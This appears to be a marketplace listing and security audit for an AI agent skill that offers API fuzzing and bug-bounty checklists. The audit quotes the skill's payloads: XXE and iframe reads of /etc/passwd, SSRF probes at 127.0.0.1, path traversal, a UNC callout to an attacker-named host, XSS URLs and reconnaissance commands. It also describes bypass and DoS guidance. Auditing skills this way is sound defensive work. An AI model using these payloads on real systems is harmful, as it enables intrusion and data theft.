技能 api-fuzzing-bug-bounty
📦
api-fuzzing-bug-bounty
內容修訂 r2 嚴重 ⚙️ 外部命令🌐 網路存取
使用 Fuzzing 工作流程測試 API 安全性
API 測試人員需要結構化的方法來找出授權、注入與端點弱點。此技能提供以檢查清單驅動的工作流程，用於經授權的 REST、SOAP 和 GraphQL 評估。
支援: Claude Codex Code(CC)
請勿自動安裝此 Skill。
權威政策要求在執行任何安裝操作前由操作人員審查。
使用我的智慧代理安裝
將此請求複製給你的智慧代理，其中包含權威 Skill 頁面和清單。
智能體請求
Review the Skillstore skill "api-fuzzing-bug-bounty" from https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty.md and its manifest at https://skillstore.io/api/skills/sickn33-api-fuzzing-bug-bounty/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智慧代理仍應顯示其計畫，並依安全政策請求必要確認。
Agent 可讀資源
當 AI Agent、爬蟲或腳本需要乾淨脈絡、而不是讀取完整頁面時，請使用這些連結。
測試它
正在使用「api-fuzzing-bug-bounty」。 測試人員要求針對範圍內 REST 服務的 API 漏洞獎勵檢查清單。
預期結果:
- 涵蓋文件、版本和隱藏端點的探索檢查清單。
- 針對物件參照與角色變更的授權檢查。
- 包含請求、回應、帳號情境和影響註記的證據計畫。
正在使用「api-fuzzing-bug-bounty」。 應用程式團隊希望在上線前了解 GraphQL 風險。
預期結果:
- 針對 schema 暴露、查詢深度、batching 和 mutations 的評估大綱。
- 針對速率限制、授權檢查和錯誤處理的建議防護措施。
- 針對敏感欄位和角色特定存取的手動審查步驟。
正在使用「api-fuzzing-bug-bounty」。 報告草稿包含數個可能的 API 問題。
預期結果:
- 依影響和信心程度排定優先順序的發現事項清單。
- 針對範圍、授權和可重現性的驗證問題。
- 針對存取控制、輸入驗證和監控的修復主題。
安全審計
嚴重v5 • 2026/7/23 開啟版本化報告
Most external-command alerts are false positives caused by Markdown code fences, not executable Ruby expressions. Confirmed examples include active reconnaissance, SSRF, XSS, local-file access, and external tracking payloads. The skill also provides operational authorization-bypass and denial-of-service guidance despite its authorized-use disclaimer.
1
已掃描檔案
440
分析行數
15
複核項目
0
已忽略的誤報
已確認的安全問題 (4)
嚴重
System password file access
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
The XXE payload explicitly directs a parser to read file:///etc/passwd. On a vulnerable live target, it can disclose local system account data.
嚴重
System password file access
<iframe src="file:///etc/passwd" height=1000 width=800>
The iframe payload explicitly directs a PDF renderer to load file:///etc/passwd. On a vulnerable live target, it can disclose local system account data.
高
Operational Authorization Bypass Guidance
The skill teaches brute-force checks, victim identifier substitution, parameter pollution, GraphQL data access, and 401 or 403 endpoint bypasses.
The cited sections provide concrete bypass sequences and victim-oriented identifiers. The authorization disclaimer reduces stated misuse intent but does not remove the operational capability.
高
Denial-of-Service and Rate-Limit Evasion Guidance
The skill recommends GraphQL batching, deeply nested queries, extreme limit values, and IP rotation to bypass controls or exhaust resources.
The headings and examples explicitly identify rate-limit bypass and denial-of-service attempts. The troubleshooting table recommends IP rotation when rate limited.
能力複核項目 (15)
這些是真實的本機能力，對此技能而言可能是預期行為，因此需要複核，但不會按已確認的惡意行為計分。
高
Hardcoded URL
<object data="http://127.0.0.1:8443"/>
This URL is an operational SSRF payload targeting a loopback service. A vulnerable renderer or API could be induced to reach an internal endpoint.
高
Hardcoded URL
<img src="http://127.0.0.1:445"/>
This URL is an internal port-probing payload for port 445. A vulnerable target could disclose internal network reachability.
高
Hardcoded URL
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
The URL embeds a Windows web configuration path to test unauthorized local-file retrieval. Successful use could disclose sensitive server configuration.
高
Hardcoded URL
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
The UNC path points to an attacker-named host and is intended to trigger an outbound SMB or DNS interaction. This can leak network metadata or credentials.
高
Hardcoded URL
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
The URL contains an operational cross-site scripting payload for an API endpoint. Successful use could execute script in a victim browser context.
高
Hardcoded URL
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
The URL contains an operational cross-site scripting payload for an API endpoint. Successful use could execute script in a victim browser context.
高
Hardcoded URL
<object data="http://127.0.0.1:8443"/>
This URL is an operational SSRF payload targeting a loopback service. A vulnerable renderer or API could be induced to reach an internal endpoint.
高
Hardcoded URL
<img src="http://127.0.0.1:445"/>
This URL is an internal port-probing payload for port 445. A vulnerable target could disclose internal network reachability.
高
Hardcoded URL
<img src="https://iplogger.com/yourcode.gif"/>
The external tracking URL is explicitly presented for IP disclosure. Loading it from a target can send target network metadata to a third party.
高
Hardcoded IP address
<object data="http://127.0.0.1:8443"/>
The loopback address is an operational SSRF payload intended to make a target contact an internal service. Applying it to a live target can cross network trust boundaries.
高
Hardcoded IP address
<img src="http://127.0.0.1:445"/>
The loopback address is an internal port-probing payload intended to make a target contact port 445. Applying it can expose internal service reachability.
高
Hardcoded IP address
<object data="http://127.0.0.1:8443"/>
The loopback address is an operational SSRF payload intended to make a target contact an internal service. Applying it to a live target can cross network trust boundaries.
高
Hardcoded IP address
<img src="http://127.0.0.1:445"/>
The loopback address is an internal port-probing payload intended to make a target contact port 445. Applying it can expose internal service reachability.
中
Hardcoded URL
kr scan https://target.com -w routes-large.kite
This is an active Kiterunner scan command against a placeholder target. Replacing the placeholder initiates endpoint reconnaissance and network traffic.
中
Hardcoded URL
curl -X POST https://target.com/graphql \
The curl example sends a GraphQL introspection request to a placeholder target. Replacing the placeholder performs active schema reconnaissance.
風險因素
⚙️ 外部命令 (48)
SKILL.md:52-65 SKILL.md:65-69 SKILL.md:69-81 SKILL.md:81-87 SKILL.md:87-95 SKILL.md:95-99 SKILL.md:99-115 SKILL.md:115-121 SKILL.md:121-127 SKILL.md:127-131 SKILL.md:131-137 SKILL.md:137-141 SKILL.md:141-143 SKILL.md:143-147 SKILL.md:147-150 SKILL.md:150-154 SKILL.md:154-160 SKILL.md:160-164 SKILL.md:164-174 SKILL.md:174-184 SKILL.md:184-186 SKILL.md:186-190 SKILL.md:190-192 SKILL.md:192-196 SKILL.md:196-205 SKILL.md:205-209 SKILL.md:209-219 SKILL.md:219-223 SKILL.md:223-227 SKILL.md:227-231 SKILL.md:231-247 SKILL.md:247-251 SKILL.md:251-257 SKILL.md:257-275 SKILL.md:275-289 SKILL.md:289-297 SKILL.md:297-309 SKILL.md:309-313 SKILL.md:313-319 SKILL.md:319-347 SKILL.md:347-348 SKILL.md:348-396 SKILL.md:396-406 SKILL.md:406-416 SKILL.md:416-420 SKILL.md:420-424 SKILL.md:424-432 SKILL.md:432-433
偵測到的模式
System password file access×2
審計單位: codex 檢視審計紀錄 →
分享與引用此報告
分享版本化評估報告、中性徽章、嵌入卡片與引用。Skillstore 只報告證據，不判斷該 Skill 是否安全。
複製報告連結
https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-api-fuzzing-bug-bounty/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-api-fuzzing-bug-bounty.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>學術引用 (APA · BibTeX · CFF)
APA 引用
zebbern. (2026). api-fuzzing-bug-bounty security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5BibTeX 引用
@techreport{zebbern-sickn33-api-fuzzing-bug-bounty-2026,
author = {zebbern},
title = {api-fuzzing-bug-bounty security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "api-fuzzing-bug-bounty security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-api-fuzzing-bug-bounty:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore 評分
評分依據 證據置信度: 中 55
架構
85
可維護性
87
內容
70
社群
83
規範符合度
你可以打造什麼
準備經授權的 API 測試
在測試開始前，建立涵蓋端點探索、驗證檢查和版本比較的範圍化檢查清單。
審查漏洞獎勵 API 目標
針對位於計畫範圍內的目標，規劃聚焦的 IDOR、GraphQL 和速率限制測試。
改善 API 防禦涵蓋範圍
使用漏洞檢查清單，將應用程式控制措施與常見 API 攻擊路徑進行比較。
試試這些提示
建立基本 API 測試計畫
為此經授權的目標建立安全的 API 安全測試計畫。包含探索、驗證檢查、IDOR 檢查，以及要收集的證據。
設計 IDOR 測試案例
審查這些 API 端點並設計經授權的 IDOR 測試案例。將低影響檢查與需要明確核准的測試分開。
評估 GraphQL 暴露面
為此 schema 或端點清單建立 GraphQL 安全評估工作流程。涵蓋 introspection、batching、巢狀查詢和存取控制。
排定 API 發現事項優先順序
根據這些 API 測試觀察結果，排定可能漏洞的優先順序、說明影響、列出驗證步驟，並註明任何不得繼續的測試。
最佳實務
- 在進行任何主動測試前，確認書面授權與範圍。
- 從低影響檢查開始，並在 payload 可能傷害可用性或資料時停止。
- 記錄清楚證據，但不要收集超過必要範圍的敏感資料。
避免
- 未取得明確許可即測試生產系統。
- 在核准範圍外使用暴力破解、DoS 或規避速率限制。
- 在沒有影響控制的情況下，將 exploit payload 複製到即時目標。
常見問題
這是自動化 API 掃描器嗎？
不是。它是用於經授權 API 安全測試的教學式工作流程與檢查清單。
這可以與 Claude、Codex 和 Claude Code 搭配使用嗎？
可以。marketplace metadata 列出 Claude、Codex 和 Claude Code 作為支援工具。
它支援 GraphQL 測試嗎？
可以。它包含 GraphQL introspection、IDOR、注入、batching、巢狀查詢和 XSS 測試構想。
它能證明目標在範圍內嗎？
不能。使用任何技術前，使用者必須驗證授權、計畫規則和法律範圍。
主要風險是什麼？
部分範例涉及敏感檔案存取、SSRF、暴力破解、DoS 和規避速率限制。
誰應該使用這項技能？
它適用於在明確委託或漏洞獎勵範圍下工作的受訓安全測試人員。